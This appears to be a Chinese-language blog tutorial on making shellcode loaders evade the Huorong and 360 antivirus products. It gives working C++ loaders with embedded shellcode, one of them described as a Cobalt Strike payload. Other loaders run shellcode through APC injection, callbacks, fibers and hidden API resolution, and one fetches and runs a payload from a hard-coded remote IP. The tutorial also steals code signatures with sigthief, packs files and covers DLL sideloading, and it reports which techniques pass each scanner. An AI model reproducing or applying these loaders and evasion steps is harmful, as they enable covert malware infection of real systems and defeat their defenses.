| MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(addr, shellcode.data(), shellcode.size()); HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); WaitForSingleObject(hThread, INFINITE); return 0;}

Shellcode加载器处理指针运行((void(*)())addr)()123456789101112131415161718#include //导入windows api和一些常量#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口//main函数,程序入口函数void main() { /* length: 892 bytes */ unsigned char buf[] = "\xfc\x48\x83..."; //1、申请内存 LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //2、拷贝 shellcode 到内存 memcpy(addr, buf, sizeof(buf)); //3、使用函数指针直接执行 ((void(*)())addr)();}

1234((void(*)())addr)(); //等价于:void (*func)() = (void(*)())adC++dr;func();

将addr强制转换为一个函数指针,无参数无返回值。

转换后立即调用该函数,跳转并执行内存地址addr处的指令 -> 即shellcode

正常对shellcode不做处理可以正常上线,但是使用sgn处理过的shellcode就无法上线了。。有些奇怪。

修改内存属性有些杀软会查杀程序中是否使用了VirtualAlloc来申请内存,故可以不申请内存,直接执行unsigned char buf[]的内存中的shellcode

123456789#include //导入windows api和一些常量#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口//main函数,程序入口函数void main() { /* length: 892 bytes */ unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; ((void(*)()) & buf) ();}

但是还不够,因为unsigned char buf[]处的内存原有属性可能不可执行,需要修改内存属性,shellcode换成CS:

12345678910111213#include //导入windows api和一些常量#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口//main函数,程序入口函数void main() { /* length: 892 bytes */ unsigned char buf[] = "\xe8\xa0\x03\x00\x00\xeb\x04\xf2\xa7\x92\x97\x40\x11\xcc\xf4\x0d\x1c\x07\xff\x11\x00\x00\xa9\xbc\xcc\xfe\xdf\x00\x44\x30\x24\x08\x44\x02\x24\x08\xe2\xf6\x40\xed\xd0\xfa\xf6\xb8\xb3\x97\x97\x7f\xb7\xb7\xb7\x37\x74\xa5\xc4\x10\xa0\xcd\x1b\x13\x82\x8e\xeb\x93\x94\x06\x56\x18\x13\x31\xa9\xdd\x56\xc4\xd4\x9a\xed\x1f\x4f\xf7\xf6\xbd\xe7\x2d\x1e\xaf\x56\xdc\xed\x2d\x79\x85\x14\x64\x16\x3a\x98\xd9\x86\x4f\x40\x01\xfe\xbf\x9d\x4c\x9c\xdd\x0c\x32\x35\x67\x37\x38\x02\xbe\xf4\xf5\xd9\xbf\xbe\xb6\xa8\xa3\x59\xc8\xa4\x2f\xaf\x27\x27\x27\x97\xdf\x5a\x52\xd8\x3f\x77\x76\x06\x40\xcb\x73\x63\x17\x1c\x1c\xba\xf3\xf2\xdc\xbf\xe9\x5d\x10\xd9\x86\xed\xd9\x41\x09\xe4\xa8\x85\x22\xeb\x43\x72\xaa\x84\xc5\xf2\x23\xac\xed\xea\xcb\xf3\xeb\x5c\x2d\x5d\x5e\xca\xee\xe4\x51\x46\x57\x92\xaa\xea\xa8\xa3\x9b\x3f\x74\x75\x59\xbf\xf8\x6b\x57\x9f\xdb\x50\xe8\xe2\xab\x0a\xd8\x85\x0e\x0a\x72\x38\xb9\x69\x88\xce\x6f\x87\xd9\x7c\xa4\xd5\x0d\xaa\xf3\x02\x58\x0e\x4d\xa1\x01\xbc\x10\xef\xef\x37\x44\x99\x33\x7b\xcc\x1c\xe9\x58\x57\x56\x11\x88\xe2\xd0\x65\x13\x92\xe3\x4d\xd8\x34\xa9\xdd\xdd\x10\xb4\xfd\x68\x0e\x30\x39\xc6\x77\xcd\x7d\xc2\xda\x21\xdc\x89\xa1\x0e\x37\x7f\xae\x62\xcf\xfe\xbc\xf1\x3e\xf7\x36\x64\x85\xd5\x60\x9a\x1c\xa8\x8d\xd4\x83\x80\x8b\xc4\x1e\x44\xcd\x8a\xab\xd3\x6d\x4f\x4f\x4f\xe0\xc1\x86\x27\x74\xb5\x10\x74\x77\xb4\xe5\x50\xc4\x83\xf4\x63\x59\x04\x0d\xd4\x69\xa2\xe8\x61\x10\x16\x87\x45\x0a\x73\x13\x1c\xad\x40\xc2\xaa\xaa\x28\x60\xc0\x12\xbe\xff\xb1\x50\xf9\xa7\x62\x1d\xc8\x7e\xf7\xa1\xe5\x60\x03\x83\xd5\xdf\x70\x26\x4f\x3e\x64\xc9\x83\xc4\x83\xbb\xba\xb9\xb8\xb7\xf8\xc9\xfc\x0e\x5a\xdb\x19\x28\x0e\xe0\x63\x12\xc7\x42\x7c\x6b\xcc\x51\x50\x50\x40\xf6\xf5\x24\x23\x97\x1b\x1a\x1a\xc4\x8f\x9a\x6b\x8f\x8e\x8e\x4e\xa6\xfa\xf9\xf8\xf7\x16\x99\xfa\x43\x7b\x73\xf0\x0c\x77\x05\xe7\x24\x77\x12\x9a\xdd\xe1\xa9\xa4\x70\x5f\x98\xfe\x4e\x9b\xa7\x73\xf4\x25\x50\xce\x67\x45\x0d\xf5\x3f\x75\xb5\x9a\x9c\xf5\x4e\xbd\x59\xa3\x19\x5c\xc9\xdc\x86\x54\x2d\xee\xd1\xee\xda\xf1\x46\x00\x46\xdd\xee\x77\x4f\x54\x4e\x5e\x49\xbe\x5b\x6a\xd6\x43\xe2\x10\xb9\xb0\x0a\x21\x99\x2a\x91\xf0\x78\x55\xca\x2d\xb4\x12\x16\x2c\xf2\x3f\xac\x04\x6d\xf9\x55\x2a\xe5\x8c\x42\x72\x02\xa4\x37\x86\x0b\x7b\xd2\x54\xb9\x03\x6f\xf4\x8f\x2f\x5c\x8f\xc4\x41\x11\xd4\xfa\xb4\x4f\x4f\xc6\x2f\xb9\x01\x80\xf7\x44\x58\x96\x82\x5a\x10\x3c\xe9\x92\x0c\x43\xe2\x49\x7f\x2b\xd0\xc8\x58\xa8\x39\x9d\xe4\x62\xc8\x87\xaa\x64\x22\xd9\xf5\x27\x56\x9f\x98\x5d\x64\x9d\xd3\x0e\x0f\x14\x05\x0f\xef\x8d\xca\x4c\x9b\xd3\x8e\x2d\xe9\xd7\xa8\x19\x9a\x90\xc2\xd8\x98\xed\x6e\x5f\xbe\x1e\x99\x7c\x2f\x38\x77\xfb\x05\x0b\xc8\x40\xfa\xb2\x51\x4b\x8f\xdf\x34\x0c\xa9\xfe\xa8\xfd\xa0\x96\x93\x32\x9d\x46\x0c\x73\x59\xd9\xb2\xde\xca\xc0\x7d\x16\xef\xca\x6a\xaa\x28\xdd\xa8\x25\x2b\xd2\x0f\xb0\xbf\x68\x4d\x15\x8c\xdc\x04\x77\x33\xf9\xe3\xf8\xba\xd5\x46\x64\x6a\x9a\xec\x9d\x0c\x86\x51\x94\xcf\x68\x72\xa8\xc2\x78\x21\xc2\x42\x96\x4c\xda\x0a\xdd\xfd\xf2\x15\x09\x88\x14\xc6\xfd\x1e\x42\x2a\x94\x61\xcb\x14\x69\x7e\xde\x1e\x5f\x80\x17\x9e\x9d\xe1\x50\xb4\x54\x67\xbe\x37\x59\x49\x38\x69\x8a\x74\x09\xcd\xaf\x5c\x00\x0d\xe3\x91\xeb\x12\x96\xea\xa5\xaf\x30\xd5\xe5\xd1\x13\xff\xb9\x56\x7b\xe0\x1d\x78\xf6\x0d\x6d\xf8\x89\x91\x91\x45\xa3\x78\xde\x19\x18\xe2\x71\x48\xed\xd8\x96\xac\x63\xbf\xd2\x48\xfc\xd9\x65\x24\xf4\x3a\x46\x16\xd0\x3a\xb8\x85\xbb\x23\x56\xc8\x60\x1f\xca\x60\x41\x74\xce\xce\xce\x8e\x0c\x2d\x95\x95\x85\x85\x05\x32\x0b\x4b\x4b\x4b\x4b\xea\xa0\xf0\x52\xf9\xe2\x9d\x48\xfe\x49\x94\x37\x7f\xe8\x8f\xb7\xbc\x4d\xf5\x78\x20\x11\xa9\xa9\x89\x89\x09\x3e\x47\x3c\x79\xa3\x8d\x1b\x52\x4e\x09\xdc\x92\x89\x0d\x2d\x28\x00\x08\x3e\x46\xc1\x36\x7c\x79\xb0\xb5\x75\xfe\x89\x21\x79\x91\xd1\xd4\xd4\xd4\xd4\xd4\x02\x31\xa5\xc0\xc1\xc0\x3f\xee\x9c\x51\x7f\x2b\xc5\x8b\xb4\x77\x19\xc8\xf6\xc3\xb3\x75\x2b\x23\xeb\x04\x9d\x4f\x1d\xec\x41\x5b\xeb\x04\xb5\x9d\x0a\xc3\x41\x81\x73\x06\x01\xa5\x5e\xbc\x48\xff\xcf\x48\xff\xc7\xeb\x04\x4f\xa3\x63\x9e\x41\xc1\x4b\x0a\x2a\xeb\x04\xcd\xd4\xa6\x89\x41\xc1\x43\x0e\x9b\x41\x81\x43\x12\x49\x3c\x01\x20\x41\xff\xe3"; DWORD oldProject = 0; //修改内存属性为可读可写可执行 VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject); ((void(*)()) & buf) ();}

使用sgn对shellcode进行加密后对火绒免杀

火绒貌似不用测了,通过近击此对火绒免杀的测试,火绒只看shellcode,只要对shellcode的加密到位,火绒就不会报毒。

又用360进行了测试,360免杀

网络分离 + 修改内存属性

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106#include #include #include #pragma comment(lib, "winhttp.lib")// 定义全局缓冲区const size_t MAX_BUFFER_SIZE = 1024 * 400; // 假设最大缓冲区大小为1MBunsigned char buf[MAX_BUFFER_SIZE];size_t bufOffset = 0; // 当前缓冲区写入位置HINTERNET winhttp_init() { // 初始化 WinHTTP 会话 HINTERNET hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (!hSession) { std::cerr << "Failed to open WinHTTP session." << std::endl; } // 连接到服务器 HINTERNET hConnect = WinHttpConnect(hSession, L"101.42.13.105", 80, 0); if (!hConnect) { std::cerr << "Failed to connect to server." << std::endl; WinHttpCloseHandle(hSession); } // 创建 HTTP 请求 HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/1.txt", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); if (!hRequest) { std::cerr << "Failed to create HTTP request." << std::endl; WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); } // 发送请求 if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) { std::cerr << "Failed to send HTTP request." << std::endl; WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); } // 接收响应 if (!WinHttpReceiveResponse(hRequest, NULL)) { std::cerr << "Failed to receive HTTP response." << std::endl; WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); } return hRequest;}void datacopy(HINTERNET hRequest, unsigned char tmpbuf[]) { // 读取响应数据 DWORD dwSize = 0; DWORD dwDownloaded = 0; do { // 检查可用数据大小 dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) { std::cerr << "Error querying data size." << std::endl; break; } // 分配缓冲区 unsigned char* pszOutBuffer = new unsigned char[dwSize + 1]; if (!pszOutBuffer) { std::cerr << "Out of memory." << std::endl; break; } // 读取数据 ZeroMemory(pszOutBuffer, dwSize + 1); if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) { std::cerr << "Error reading data." << std::endl; } else { // 确保不会超出全局缓冲区大小 if (bufOffset + dwDownloaded > MAX_BUFFER_SIZE) { std::cerr << "Global buffer overflow!" << std::endl; delete[] pszOutBuffer; break; } // 将数据写入全局缓冲区 memcpy(tmpbuf + bufOffset, pszOutBuffer, dwDownloaded); bufOffset += dwDownloaded; // 在调试时打印已接收的数据大小 std::cout << "Received " << dwDownloaded << " bytes." << std::endl; } delete[] pszOutBuffer; } while (dwSize > 0);}int main() { HINTERNET hRequest = winhttp_init(); datacopy(hRequest, buf); DWORD oldProtect = 0; if (!VirtualProtect(buf, bufOffset, PAGE_EXECUTE_READ, &oldProtect)) { return -1; } ((void(*)(void)) & buf)(); return 0;}

也可以过360免杀

第二天又测试了以下火绒,发现如果请求的是http://101.42.13.105/pd.bin就会杀,但是请求.txt就不杀,那么只需要把.bin后缀改成.txt即可。

修改data段属性修改data段属性可以避免使用VirtualProtect这个敏感的windows api函数

因为全局变量默认存储在data段,那么将data段的属性设置为”可读可写可执行”即可。

1234567891011#include //导入windows api和一些常量#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口#pragma comment(linker, "/section:.data,RWE")unsigned char buf[] = "\xe8\xa0\x03\x00...";//main函数,程序入口函数void main() { ((void(*)()) & buf) ();}

火绒和360报毒

新增数据段12345678910111213#include //导入windows api和一些常量#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口#pragma data_seg("vdata")unsigned char buf[] = "\xe8\xa0\x03\x00...";#pragma data_seg()#pragma comment(linker, "/section:vdata,RWE")//main函数,程序入口函数void main() { ((void(*)()) & buf) ();}

火绒和360报毒

堆加载除了修改数据段内存属性外,还可以通过HeapCreate api获取一个具有执行权限的堆,并在其中分配一块内存,并将shellcode复制到这块内存中,这样可以规避VirtualProtect、VirtualAlloc这些windows api敏感函数

1234567891011#include //导入windows api和一些常量#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口unsigned char buf[] = "\xe8\xa0\x03...";//main函数,程序入口函数void main() { HANDLE heapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0); char* addr = (char*)HeapAlloc(heapHandle, HEAP_ZERO_MEMORY, sizeof(buf)); memcpy(addr, buf, sizeof(buf)); ((void(*)()) addr)();}

火绒、360报毒

APC注入运行123456789101112131415161718#include //导入windows api和一些常量#include #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口typedef DWORD(WINAPI* pNtTestAlert)();//main函数,程序入口函数void main() { unsigned char buf[] = "\xe8\xa0\x03..."; DWORD oldProject; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject); //获取NtTestAlert的函数地址 pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert")); QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)buf, GetCurrentThread(), NULL); NtTestAlert();}

火绒过,360杀

回调函数运行EnumDateFormatsA1234567891011121314#include //导入windows api和一些常量#include #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口typedef DWORD(WINAPI* pNtTestAlert)();//main函数,程序入口函数void main() { unsigned char buf[] = "\xe8\xa0\x03..."; DWORD oldProject; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject); //回调函数运行 EnumDateFormatsA((DATEFMT_ENUMPROCA)&buf, NULL, NULL);}

火绒过、360杀

EnumUILanguages1234567891011121314#include //导入windows api和一些常量#include #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口typedef DWORD(WINAPI* pNtTestAlert)();//main函数,程序入口函数void main() { unsigned char buf[] = "\xe8\xa0\x03..."; DWORD oldProject; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject); //回调函数运行 EnumUILanguages((UILANGUAGE_ENUMPROCW)&buf, NULL, NULL);}

火绒过、360杀

创建纤程运行纤程是一种用户级别的线程。

1234567891011121314151617181920#include //导入windows api和一些常量#include #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口typedef DWORD(WINAPI* pNtTestAlert)();//main函数,程序入口函数void main() { unsigned char buf[] = "\xe8\xa0\x03..."; DWORD oldProject; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject); //将当前线程转换为纤程 ConvertThreadToFiber(NULL); //创建一个纤程对象,shellcode为纤程入口点,使用默认大小和无标志位 void* bufFiber = CreateFiber(0,(LPFIBER_START_ROUTINE)(LPVOID)buf, NULL); //切换到新创建的纤程,开始执行buf SwitchToFiber(bufFiber); //执行完毕后删除纤程对象 DeleteFiber(bufFiber);}

火绒过、360杀

动态api函数加载不直接使用形如 VirtualAlloc 的 Windows API了,而是通过 GetProcAddress 动态获取,绕过对敏感 Windows API的检测。

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364#include //导入windows api和一些常量#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口//VirtualAlloctypedef LPVOID(WINAPI* myVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);//CreateThreadtypedef HANDLE(WINAPI* myCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);//RtlMoveMemorytypedef VOID(WINAPI* vRtlMoveMemory)( IN VOID UNALIGNED* Destination, IN CONST VOID UNALIGNED* Source, IN SIZE_T Length );//WaitForSingleObjecttypedef DWORD(WINAPI* dwWaitForSingleObject)( HANDLE hHandle, // handle to object DWORD dwMilliseconds // time-out interval );/* length: 892 bytes */unsigned char buf[] = "\xe8\xa0\x03...";//main函数,程序入口函数void main() { //获取相关函数地址 myVirtualAlloc myVT = (myVirtualAlloc)(GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "VirtualAlloc")); myCreateThread myCT = (myCreateThread)(GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "CreateThread")); vRtlMoveMemory mvMemory = (vRtlMoveMemory)(GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "RtlMoveMemory")); dwWaitForSingleObject waitFSO = (dwWaitForSingleObject)(GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "WaitForSingleObject")); //1、申请内存 LPVOID addr = myVT(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //2、拷贝 shellcode 到内存 mvMemory(addr, buf, sizeof(buf)); //3、执行内存中的shellcode //创建线程执行 HANDLE hThread = myCT(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); //等待线程运行 waitFSO(hThread, -1); //关闭线程 CloseHandle(hThread);}

更隐蔽一些隐藏 GetProcAddress,这样导入表中就发现不了敏感 Windows API函数了。

首先新建项

1GetInitializationOrderModuleList.asm

在 GetInitializationOrderModuleList.asm 中添加代码:

12345678.CODEGetInInitializationOrderModuleList PROCmov rax,gs:[60h] ; PEB,注意,这里不能写0x60mov rax,[rax+18h] ; PEB_LDR_DATAmov rax,[rax+30h] ; InInitializationOrderModuleListret ; 这里不能写retnGetInInitializationOrderModuleList ENDPEND

编辑属性

12命令行:ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm输出:$(IntDir)%(FileName).obj

完整代码:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485#include#include#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口// UNICODE_STRING 结构体定义typedef struct _UNICODE_STRING { USHORT Length; //表示字符串中的字符数,由于它是unicode形式的字符,因此每个字符占两个字节 USHORT MaximumLength; //分配的内存空间的大小,以字节为单位 PWSTR Buffer; //表示指向存储Unicode字符串的字符数组的指针} UNICODE_STRING, * PUNICODE_STRING;// 声明获取 InInitializationOrderModuleList 链表的函数extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();// 获取 Kernel32.dll 的基地址HMODULE getKernel32Address() { // 获取 InInitializationOrderModuleList 链表 LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList(); while (1) { // 获取 FullDllName 成员 UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38); // 如果 Buffer 中的第 13 个字符为空字符,则已找到 Kernel32.dll if (*(FullDllName->Buffer + 12) == '\0') { // 返回模块的基地址 return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10))); } pNode = pNode->Flink; }}// 获取 GetProcAddress 函数的地址DWORD64 getGetProcAddress(HMODULE hKernal32) { // 获取 DOS 头 PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 获取 NT 头 PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); // 获取导出表 PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY) ((LONG64)baseAddr + pImageNt -> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);// 获取导出函数地址数组、导出函数名数组和导出函数序号数组PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir -> AddressOfFunctions);PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames);PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir -> AddressOfNameOrdinals);// 遍历导出函数for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 获取当前函数地址 LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 获取当前函数名地址 PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 如果当前函数名是 "GetProcAddress",返回其地址 if (!strcmp((const char*)FunctionName, "GetProcAddress")) { return F_va_Tmp; } }}// 定义函数指针类型typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);int main() { // 定义包含 shellcode 的缓冲区 unsigned char sc[] = "\xe8\xa0\x03..."; // 获取 Kernel32.dll 的基地址和GetProcAddress函数地址 HMODULE hKernal32 = getKernel32Address(); // 获取Kernel32.dll的基地址 pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress函数地址 //获取其他所需API函数地址 pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect"); pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread"); pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject"); //修改shellcode缓冲区的内存保护属性,以便执行 DWORD oldProtect; VirtualProtect((LPVOID)sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect); //创建新线程执行shellcode并等待其执行完成 HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)sc, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); return 0;}

编译器与PE文件处理前言做免杀时,会遇到shellcode加密了,加载器代码做了动态加载和优化,但是依然会被杀软报毒,所以要对exe进行一定处理。

1、编译参数

2、数字签名

3、详细的版本信息

可以通过控制变量法找到杀软的查杀点,进行定向免杀。

MD和MT的区别MD (动态链接运行库):程序自己不携带C运行库,借用系统里已经安装好的DLL文件,但是若目标机器中没有对应的DLL,程序将运行失败

MT (静态链接运行库):程序携带C运行库,不依赖外部DLL,但是体积更大

当MD杀的时候,尝试切换MT。

编译器使用不同的编译器免杀效果也不同

1、VS

2、gcc

3、Intel C++

加数字签名使用 sigthief.py脚本

1python sigthief.py -i 360.exe -t shellcode.exe -o shellcode_sign.exe

加数字签名前:360查杀

加数字签名后,过了360

但是签名的确是伪造的

当然也可以进行自签名。

添加资源信息使用ResourceHakcer.exe工具

添加资源信息前:

添加资源文件后:

但是只加上资源信息是过不了360的,所以最好数字签名和资源信息一块儿加上。

先添加资源文件,再添加数字签名,轻松过360

加壳upx加壳1upx -1~9 shellcode.exe

经测试,upx -9 shellcode.exe过不了360,但是过火绒还是可以的。

Shielden加壳

vmp加壳

检查PE文件的熵值文件的熵值被用于衡量系统的混乱程度,熵值越大,说明混乱程度越高

熵值的大小也被用域检测PE文件病毒,一般合法软件的熵值在4.8 - 7.2之间

所以加壳后需要看一下文件熵值是否超过7.2

拿vmp加壳后的shellcode.vmp.exe为例

明显高了,所以被360杀了也算正常了。

Shielden加壳PE文件的熵值在 7.66左右

upx加壳1-9的范围在6.799~6.975之间

白加黑白加黑概念白:带有有效数字签名的可执行文件,通常为exe文件

黑:恶意代码所在文件,通常为DLL

什么是DLL文件DLL 中文全程叫做 动态链接库(Dynamic Link Library,简称 DLL)是一种 Windows 操作系统中的 共享文件,包含一系列可供程序共用的函数、数据和资源。DLL 文件中存放的是各类程序的函数实现过 程,当程序需要调用函数时需要先载入DLL,然后取得函数的地址,昀后进行调用。使用DLL文件的好 处是程序不需要在运行之初加载所有代码,只有在程序需要某个函数的时候才从 DLL 中取出。dll 文件 和 exe 文件一样都是 PE 文件

上线原理白程序 -> 黑DLL -> DLLMain/导出函数 -> 执行shellcode加载器代码 -> CS上线

DLL文件结构Visual Studio新建项目 - 动态链接库

新建项目目录结构

(1) framework.h

用于包含项目中需要使用的头文件,默认包含

(2) pch.h

预编译标头文件,DLL的导出函数在此处定义

(3) dllmain.cpp

包含程序的入口点,可以理解为入口函数,在dllmain.cpp中实现在pch.h中定义的函数,也可以在其他cpp文件中实现,比如pch.cpp等。

1234567891011121314151617#include "pch.h"BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: //当DLL被进程加载时执行,每个进程只初始化一次 case DLL_THREAD_ATTACH: //当线程被创建时调用 case DLL_THREAD_DETACH: //当线程结束时执行 case DLL_PROCESS_DETACH: //当DLL被进程卸载时执行 break; } return TRUE; //DLL_PROCESS_ATTACH成功}

(4) pch.cpp

一般用于存放导出函数

编译一个DLLpch.cpp中定义导出函数

123456// pch.cpp: 与预编译标头对应的源文件#include "pch.h"// 当使用预编译的头时,需要使用此源文件,编译才能成功。int sum(int a, int b) { return a + b;}

pch.h

123456789101112131415#ifndef PCH_H#define PCH_H// 添加要在此处预编译的标头#include "framework.h"#endif //PCH_H#ifdef Dll1_EXPORTS#define API_DECLSPECKM _declspec(dllexport)#else#define API_DECLSPECKM _declspec(dllimport)#endifextern "C" API_DECLSPECKM int sum(int a, int b);

Ctrl + B生成DLL

查看DLL导出函数Visual Studio 2022自带工具 Visual Studio 2022 Developer Command Prompt

1dumpbin /exports E:\免杀\Dll1\x64\Release\Dll1.dll

DLL调试因为DLL文件不能直接运行,所以需要新建一个exe项目对其进行调试

右键【解决方案】 -> 【添加】 -> 【新建项目】

选择新建”控制台应用”,新建后解决方案下就多出了刚刚新建的项目

编写DLLTest.cpp

12345678910#include #include using namespace std;int main() { HMODULE dll1 = LoadLibrary(L"Dll1.dll"); //加载Dll1.dll typedef int(*ptrSum)(int a, int b); //定义一个函数指针类型ptrSum,后续将Dll1.dll中sum函数的地址复制给它 ptrSum sum = (ptrSum)GetProcAddress(dll1, "sum"); //从dll1中获取名为"sum"的函数的地址,并将其赋值给sum函数指针 cout << sum(1, 2) << endl;}

最后右键【DLLTest】 -> 【设置为启动项目】

最后生成解决方案即可

成功运行

